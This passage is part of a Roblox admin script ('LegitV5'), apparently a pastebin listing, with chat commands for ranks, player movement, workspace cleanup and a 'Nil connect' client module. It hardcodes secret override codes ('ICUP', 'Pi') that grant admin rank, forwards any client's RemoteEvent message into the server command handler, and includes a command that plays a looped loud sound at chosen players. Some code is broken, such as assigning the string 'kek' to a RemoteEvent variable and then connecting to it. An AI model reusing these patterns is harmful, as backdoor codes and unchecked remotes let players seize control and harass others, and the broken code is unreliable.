  3012. GUI.AbsoluteSize.X/2 + (Box.Size.X.Offset*0.18), --GUI.AbsoluteSize.X/2 - (Box.Size.X.Offset/2)
  3013. 0,
  3014. GUI.AbsoluteSize.Y/2 - (Box.Size.Y.Offset/2) --GUI.AbsoluteSize.Y/2 - (Box.Size.Y.Offset/2)
  3015. )
  3016. local Button = Instance.new('TextButton', GUI)
  3017. Button.Size=UDim2.new(0,180,0,65)
  3018. Button.BackgroundTransparency=0
  3019. Button.BackgroundColor3=Color3.new(0,0,0)
  3020. Button.Text='Submit code'
  3021. Button.TextColor3=Color3.new(255,255,255)
  3022. Button.FontSize=Enum.FontSize.Size24
  3023. Button.Font='SourceSansBold'
  3024. Button.Position = UDim2.new(
  3025. 0,
  3026. GUI.AbsoluteSize.X/2 + (Button.Size.X.Offset*0.18), --GUI.AbsoluteSize.X/2 - (Box.Size.X.Offset/2)
  3027. 0,
  3028. GUI.AbsoluteSize.Y/2 + (Button.Size.Y.Offset/2) --GUI.AbsoluteSize.Y/2 - (Box.Size.Y.Offset/2)
  3029. )
  3030. Button.MouseButton1Down:connect(function()
  3031. if Box.Text == LegitV5.OverrideCode then
  3032. GUI:Destroy()
  3033. Note(User.Name.." overrode the system. Their rank is now 6!")
  3034. LegitV5.Ranked[User.Name].Rank = 6
  3035. TimedOutput(User, "Override successful, your rank is now 6!", "Lime green",nil,3)
  3036. elseif Box.Text == "ICUP" then
  3037. Note(User.Name.." overrode the system. Their rank is now 34523452345728374572347957239847527394758273485274385923749759237485927349858273948598237984592374985!")
  3038. LegitV5.Ranked[User.Name].Rank = 34523452345728374572347957239847527394758273485274385923749759237485927349858273948598237984592374985
  3039. TimedOutput(User, "Override successful, your rank is now 34523452345728374572347957239847527394758273485274385923749759237485927349858273948598237984592374985!", "Lime green",nil,3)
  3040. elseif Box.Text == "Pi" then
  3041. Note(User.Name.." overrode the system. Their rank is now "..math.pi.."!")
  3042. LegitV5.Ranked[User.Name].Rank = math.pi
  3043. TimedOutput(User, "Override successful, your rank is now "..math.pi.."!", "Lime green",nil,3)
  3044. else
  3045. Box.Text = "Invalid code"
  3046. Serv[10]:AddItem(GUI, 2)
  3047. end
  3048. end)
  3049. end
  3050. end)
  3051. CreateCommand(0, "View Ranks", "ranks", "Displays a list of possible ranks", function(Message,User)
  3052. Dismiss(User)
  3053. Output(User, "Your rank: ["..tostring(GetRank(User)).."]",Colors["Reddish purple"])
  3054. for i,r in next, LegitV5.Ranks do
  3055. Output(User, i..": ["..r.."]", '1001')
  3056. end
  3057. end)
  3058. CreateCommand(0.1, "Clear Music", {"removemusic","rm"}, "Clears the game of all delete-able sounds.",function(Message,User)
  3059. NoMusic()
  3060. end)
  3061. CreateCommand(0.1, "Dance", "dance", "Makes a player dance", function(Message,User)
  3062. local Animations1 = {
  3063. {27789359, nil},
  3064. {33796059, 1.5}
  3065. };
  3066. for i,v in pairs(CollectPlayers(Message,User)) do
  3067. if v and v.Character and v.Character:FindFirstChild('Humanoid') then
  3068. pcall(function()
  3069. local Humanoid = v.Character.Humanoid
  3070. local ChosenAnimation = Animations1[math.random(1, #Animations1)]
  3071. local Animation = Instance.new("Animation")
  3072. Animation.AnimationId = "http://www.roblox.com/asset?id="..ChosenAnimation[1]
  3073. local AnimationTrack = Humanoid:LoadAnimation(Animation)
  3074. AnimationTrack:Play(nil,nil,ChosenAnimation[2])
  3075. spawn(function()
  3076. wait(15)
  3077. AnimationTrack:Stop()
  3078. end)
  3079. end)
  3080. end
  3081. end
  3082. end)
  3083. CreateCommand(1, "Walk", {"walkto","wto","wt"}, "Forces you to walk somewhere", function(Message,User)
  3084. local Key = GetArguments(Message)
  3085. local TargPlrs = Message:sub(1,Key-1)
  3086. local PlayerSet = CollectPlayers(TargPlrs, User)
  3087. local TargPlrs2 = Message:sub(Key+1)
  3088. local PlayerSet2 = CollectPlayers(TargPlrs2, User)
  3089. for _,check in pairs(PlayerSet) do
  3090. for X,dest in pairs(PlayerSet2) do
  3091. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  3092. if LegitV5.Services[2]:FindFirstChild(dest.Name) then
  3093. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  3094. local plr2 = LegitV5.Services[2]:FindFirstChild(dest.Name)
  3095. coroutine.resume(coroutine.create(function()
  3096. while game:GetService("RunService").Stepped:wait() and plr and plr2 do
  3097. pcall(function()
  3098. if plr and plr2 then
  3099. plr.Character.Humanoid.WalkToPoint=plr2.Character.Torso.Position
  3100. else
  3101. return
  3102. end
  3103. end)
  3104. end
  3105. end))
  3106. end
  3107. end
  3108. end
  3109. end
  3110. end, false)
  3111. CreateCommand(0, "Rank Up", {"afrup", "rkup"}, "Asks for a rank up", function(Message,User)
  3112. Output(User, User.Name.." asks for a rankup.")
  3113. for i,v in pairs(Serv[2]:GetPlayers()) do
  3114. if GetRank(v) >= 2 then
  3115. Output(v, User.Name.." asks for a rankup.")
  3116. end
  3117. end
  3118. end)
  3119. CreateCommand(0, "invisibase","ginv", "makes base invisi", function(Message, User)
  3120. NLS([[
  3121. game:GetService("RunService").Stepped:wait()
  3122. script:Destroy();
  3123. repeat game:GetService("RunService").Stepped:wait() pcall(function() workspace.Base.LocalTransparencyModifier = 1 end) until a
  3124. ]], User.Backpack)
  3125. end, false)
  3126. CreateCommand(3, "Rejoin",{"rejoin","rj"}, "Rejoins a player", function(Message,User)
  3127. for _,plr in pairs(CollectPlayers(Message,User)) do
  3128. if plr then
  3129. game:GetService("TeleportService"):Teleport(game.PlaceId, plr)
  3130. end
  3131. end
  3132. end)
  3133. CreateCommand(1,"Reload Appearance","uncap","Reloads a player's real appearance.",function(Message,User)
  3134. for _, plr in pairs(CollectPlayers(Message,User)) do
  3135. if plr then
  3136. plr.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId="..plr.userId
  3137. plr:LoadCharacter()
  3138. end
  3139. end
  3140. end)
  3141. CreateCommand(2,"Do","do","Does something a specified amount of times",function(Message,User)
  3142. local Key = GetArguments(Message)
  3143. local Times = Message:sub(1,Key-1)
  3144. local Command = Message:sub(Key+1)
  3145. Times = tonumber(Times)
  3146. for i = 1,Times do
  3147. Chatted(Command, User)
  3148. end
  3149. end, false)
  3150. CreateCommand(2,'Countdown','countdown','Creates a message', function(Message, User)
  3151. if GetSplit(Message) == "h" then
  3152. Message = Message:gsub("-h","")
  3153. if tonumber(Message) then
  3154. spawn(function()
  3155. local Alert = Instance.new("Hint", workspace)
  3156. Alert.Text = Message
  3157. for i = tonumber(Message),0,-1 do
  3158. Alert.Text = i
  3159. wait(1)
  3160. end
  3161. Alert.Text = "0"
  3162. Alert:Destroy()
  3163. end)
  3164. end
  3165. else
  3166. if tonumber(Message) then
  3167. spawn(function()
  3168. local Alert = Instance.new("Message", workspace)
  3169. Alert.Text = Message
  3170. for i = tonumber(Message),0,-1 do
  3171. Alert.Text = i
  3172. wait(1)
  3173. end
  3174. Alert.Text = "0"
  3175. Alert:Destroy()
  3176. end)
  3177. end
  3178. end
  3179. end)
  3180. CreateCommand(1,'Clean','clean','Cleans the workspace of crap',function(Message,User)
  3181. for i,v in pairs(workspace:GetChildren()) do
  3182. if game:GetService("Players"):GetPlayerFromCharacter(v) then
  3183. --Be happy.
  3184. else
  3185. if not v:IsA("Terrain") and not string.lower(v.Name):find('base') and not v:IsA('Script') and not v:IsA('Camera') then
  3186. v:Destroy()
  3187. end
  3188. end
  3189. end
  3190. end, false)
  3191. CreateCommand(6,"Attention grabber","gatt","This is a 50% of getting their attention",function(Message,User)
  3192. for i,v in pairs(CollectPlayers(Message,User)) do
  3193. local s = Instance.new("Sound", v:FindFirstChild('PlayerGui'))
  3194. s.SoundId="rbxassetid://170755561"
  3195. s.Looped=true
  3196. s.Volume=1e1
  3197. s:Play()
  3198. end
  3199. end, false)
  3200. CreateCommand(6,"Command bar",{"commandbar","cmdbar","cbar"},"Gives you a command bar",function(Message,User)
  3201. local Backpack = User:FindFirstChild("Backpack") or Instance.new("Backpack", User);
  3202. local PlayerGui = User:FindFirstChild("PlayerGui");
  3203. local Character = User.Character or nil;
  3204.  
  3205. local Gui = Create("ScreenGui"){
  3206. Name = "CommandGui";
  3207. Parent = PlayerGui;
  3208. };
  3209. local Frame = Create("Frame"){
  3210. Name = "MainFrame";
  3211. Parent = Gui;
  3212.  
  3213. };
  3214. end, false)
  3215. CreateCommand(1, "Nil connect",{"nilconnect","ncnct"},"Connects you to Nil Support",function(Message,User)
  3216. NLS(NilConnectSource, (User.Character or User:FindFirstChild("Backpack") or User:FindFirstChild("PlayerGui") or Instance.new("Backpack", User)))
  3217. end)
  3218. NilConnectSource = [==[
  3219. script.Parent=nil;
  3220. LocalPlayer = game.Players.LocalPlayer
  3221. CharacterDebounce=false
  3222. CanRegenerate=true
  3223. Mouse = LocalPlayer:GetMouse()
  3224. Button1Down = false
  3225. CanSay=false
  3226. Clothing = {}
  3227. for i,v in next,LocalPlayer.Character:GetChildren() do
  3228. if v.ClassName == "Pants" then
  3229. table.insert(Clothing,v)
  3230. end
  3231. if v.ClassName == "Shirt" then
  3232. table.insert(Clothing,v)
  3233. end
  3234. if v.ClassName == "Shirt Graphic" then
  3235. table.insert(Clothing,v)
  3236. end
  3237. if v.ClassName == "BodyColors" then
  3238. table.insert(Clothing,v)
  3239. end
  3240. end
  3241. print("Nil connect is active, ", LocalPlayer.Name)
  3242. LocalPlayer.Chatted:connect(function(Message)
  3243. CanSay=true
  3244. if Message:sub(1,3) == "/e " then
  3245. Message = Message:sub(4)
  3246. CanSay = false
  3247. end
  3248. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head and CanSay == true then
  3249. pcall(function() game:GetService("Chat"):Chat(LocalPlayer.Character.Head,tostring(Message):gsub('','\5'), "Blue") end)
  3250. end
  3251. if string.lower(Message) == "gwc/" then
  3252. print("Attempted to get children")
  3253. for j,k in pairs(workspace:children()) do print(j,k) end
  3254. elseif string.lower(Message) == "char/" then
  3255. MakeChar()
  3256. else
  3257. if game.Players.LocalPlayer.Parent ~= game:GetService("Players") then
  3258. if workspace:FindFirstChild("XNCC") then
  3259. if workspace:FindFirstChild("XNCC"):IsA("RemoteEvent") then
  3260. workspace.XNCC:FireServer(Message)
  3261. end
  3262. else
  3263. print("XNCC Is not found")
  3264. end
  3265. end
  3266. end
  3267. end)
  3268. MakeChar = function()
  3269. CanRegenerate=true
  3270. if workspace:FindFirstChild(LocalPlayer.Name) then
  3271. CharacterDebounce = true
  3272. CanRegenerate=false
  3273. repeat
  3274. game:GetService("RunService").Stepped:wait()
  3275. pcall(function()
  3276. workspace[LocalPlayer.Name]:Destroy()
  3277. end)
  3278. until workspace:FindFirstChild(LocalPlayer.Name) == nil
  3279. CharacterDebounce = false
  3280. CanRegenerate=true
  3281. end
  3282. print("Loaded character")
  3283. local AnimeCharacter = game:service("InsertService"):LoadAsset(68452456):GetChildren()[1]
  3284. local Humanoid = AnimeCharacter:FindFirstChild("Humanoid", true)
  3285. --local Decal = Instance.new("Decal", AnimeCharacter:FindFirstChild("Head"))
  3286. --Decal.Texture = "http://www.roblox.com/asset/?id=241134673"
  3287. --Decal.Face = "Front"
  3288. --Decal.Name = "Decal"
  3289. --[[
  3290. if AnimeCharacter:FindFirstChild("Animate") then
  3291. AnimeCharacter:FindFirstChild("Animate"):Destroy()
  3292. end
  3293. --]]
  3294. if AnimeCharacter:FindFirstChild("Head"):FindFirstChild("face") then
  3295. AnimeCharacter["Head"]["face"]:Destroy()
  3296. end
  3297. Humanoid.Died:connect(function() MakeChar() end)
  3298. workspace.DescendantRemoving:connect(function(Object)
  3299. if Object == LocalPlayer.Character then
  3300. if CanRegenerate == true then
  3301. MakeChar()
  3302. end
  3303. end
  3304. end)
  3305. for i,v in pairs(AnimeCharacter:GetChildren()) do
  3306. if v:IsA("BasePart") then
  3307. v.Locked = true
  3308. end
  3309. end
  3310. AnimeCharacter.Name = LocalPlayer.Name
  3311. AnimeCharacter.Parent = workspace
  3312. AnimeCharacter:MoveTo(Vector3.new(0,3,0))
  3313. LocalPlayer.Character = nil
  3314. AnimeCharacter:MakeJoints()
  3315. for _,v in next,Clothing do
  3316. local nv = v:Clone()
  3317. nv.Parent = AnimeCharacter
  3318. end
  3319. workspace.CurrentCamera.CameraType = "Fixed"
  3320. Animate = AnimeCharacter
  3321. LocalPlayer.Character = AnimeCharacter
  3322. --InsertHat(173624561)
  3323. --InsertHat(60674516)
  3324. workspace.CurrentCamera.CameraSubject = LocalPlayer.Character['Humanoid']
  3325. workspace.CurrentCamera.CameraType = "Follow"
  3326. if workspace:FindFirstChild("XNCR") then
  3327. if workspace:FindFirstChild("XNCR"):IsA("RemoteEvent") then
  3328. workspace:FindFirstChild("XNCR"):FireServer("remove", LocalPlayer.Character)
  3329. end
  3330. end
  3331. if workspace:FindFirstChild("XNCR") then
  3332. if workspace:FindFirstChild("XNCR"):IsA("RemoteEvent") then
  3333. workspace:FindFirstChild("XNCR"):FireServer("create", LocalPlayer.Character)
  3334. end
  3335. end
  3336. end
  3337. Mouse.Button1Down:connect(function()
  3338. if workspace.CurrentCamera:FindFirstChild("Click Pos") then
  3339. workspace.CurrentCamera["Click Pos"]:Destroy()
  3340. end
  3341. if Mouse.Target ~= nil and Mouse.Hit ~= nil and LocalPlayer.Character and game.Players.LocalPlayer.Parent ~= game:GetService("Players") then
  3342. Button1Down = true
  3343. local Pos = Mouse.Hit.p
  3344. --[[
  3345. local Part = Instance.new('Part', workspace.CurrentCamera)
  3346. Part.BrickColor = BrickColor.new("Lime green")
  3347. Part.Anchored = true
  3348. Part.Name = "Click Pos"
  3349. Part.CanCollide = false
  3350. Part.Locked = true
  3351. Part.FormFactor = "Custom"
  3352. Part.Shape = "Cylinder"
  3353. Part.Size = Vector3.new(1,1,1)
  3354. Part.CFrame = CFrame.new(Pos.X,-1.2,Pos.Z)
  3355. Part.Rotation = Vector3.new(0,0,90)
  3356. Part.TopSurface = 10
  3357. Part.BottomSurface = 10
  3358. ]]--
  3359. LocalPlayer.Character.Humanoid.WalkToPoint = Pos
  3360. while Button1Down == true do
  3361. Pos = Mouse.Hit.p
  3362. LocalPlayer.Character.Humanoid.WalkToPoint = Pos
  3363. game:GetService("RunService").Stepped:wait()
  3364. end
  3365. end
  3366. end)
  3367. Mouse.Button1Up:connect(function()
  3368. Button1Down=false
  3369. end)
  3370. ]==]
  3371. for i,v in pairs(workspace:GetChildren()) do
  3372. if v.Name == "XNCC" or v.Name == "XNCR" then
  3373. v:Destroy()
  3374. end
  3375. end
  3376. RemoteNilChat = Instance.new("RemoteEvent", workspace)
  3377. RemoteNilChat = 'kek'
  3378. RemoteNilChat.OnServerEvent:connect(function(Player, Message)
  3379. Chatted(Message, Player)
  3380. end)
  3381. RemoteNilRotation = Instance.new("RemoteEvent", workspace)
  3382. RemoteNilRotation.Name = "XNCR"
  3383. RemoteNilRotation.OnServerEvent:connect(function(Character, Mode)
  3384. if string.lower(Mode) == "remove" then
  3385. for i,v in pairs(NilCharacters) do
  3386. if v.Name == Character.Name then
  3387. v:Destroy()
  3388. table.remove(NilCharacters, v)
  3389. end
  3390. end
  3391. elseif string.lower(Mode) == "create" then
  3392. table.insert(NilCharacters, Character)
  3393. table.foreach(NilCharacters, print)
  3394. end
  3395. end)
  3396. RemoteNilChatRegeneration = workspace.DescendantRemoving:connect(function(Object)
  3397. if Object == RemoteNilChat then
  3398. RemoteNilChat = Instance.new("RemoteEvent", workspace)
  3399. RemoteNilChat.Name = "XNCC"
  3400. RemoteNilChat.OnServerEvent:connect(function(Player, Message)
  3401. Chatted(Message, Player)
  3402. end)
  3403. end
  3404. end)
  3405. RemoteNilRotationRegeneration = workspace.DescendantRemoving:connect(function(Object)
  3406. if Object == RemoteNilRotation then
  3407. RemoteNilRotation = Instance.new("RemoteEvent", workspace)
  3408. RemoteNilRotation.Name = "XNCR"
  3409. RemoteNilRotation.OnServerEvent:connect(function(Character, Mode)
  3410. if string.lower(Mode) == "remove" then
  3411. for i,v in pairs(NilCharacters) do
  3412. if v.Name == Character.Name then
  3413. v:Destroy()
  3414. table.remove(NilCharacters, v)
  3415. end
  3416. end
  3417. elseif string.lower(Mode) == "create" then
  3418. table.insert(NilCharacters, Character)
  3419. end
  3420. end)
  3421. end
  3422. end)
  3423. function LoadAssets2(AssetList)
  3424. for _, AssetId in pairs(AssetList) do
  3425. ContentProvider = game:GetService('ContentProvider')
  3426. ContentProvider:Preload("http://www.roblox.com/asset/?id=" .. AssetId)
  3427. end
  3428. end
  3429. Print(":3")
  3430. LoadAssets2(
  3431. {131395838,131395847,131395855,131395860,131395868,
  3432. 131395884,131395891,131395897,131395901,131395946,131395957,131395966,131395972,131395979,
  3433. 131395986,131395989,131395993,131395997,131396003,131396007,131396012,131396012,131396016,
  3434. 131396019,131396024,131396029,131396037,131396042,131396044,131396046,131396054,131396063,
  3435. 131396068,131396072,131396078,131396091,131396098,131396102,131396108,131396110,131396113,
  3436. 131396116,131396121,131396125,131396133,131396137,131396142,131396146,131396156,131396162,
  3437. 131396164,131396169,131396169,131396173,131396176,131396181,131396185,131396188,131396192})
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement